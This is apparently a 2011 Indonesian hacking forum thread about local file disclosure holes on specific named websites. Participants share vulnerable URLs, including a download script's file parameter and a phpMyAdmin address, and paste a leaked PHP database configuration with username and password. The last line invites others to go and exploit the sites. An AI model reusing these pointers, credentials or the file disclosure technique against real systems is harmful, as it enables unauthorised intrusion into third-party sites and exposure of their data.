[Ask] Local file disclosure

[./codezer0]

(07-26-2011 10:48 PM)H.W.K Wrote:  http://www.ace99.com.sg/_old.php

masih ada tuh ...
tapi sekarang makin ketat,
di mana-mana cuma bisa read doang ......

total kurang - lebih ada 20 situs di sana ...
phpmyadmin-nya di sini :

https://phpmyadmin.bm.com.sg:3307/
20 database, lebih kurang.

just info

Nemu aja ente celahnya, mantap

Btw site advan juga ada bug lfd nih

http://www.advandigital.com/dl.php?dirfi...l_conn.php

Code:

<?
    $host = "localhost";
    $userdb = "advan_sa";
    $passdb = "sa123";
    $dbname = "advan_profile2";
    $connDB = mysql_connect($host, $userdb, $passdb);
    mysql_select_db($dbname, $connDB);
?>

Monggo di eksplor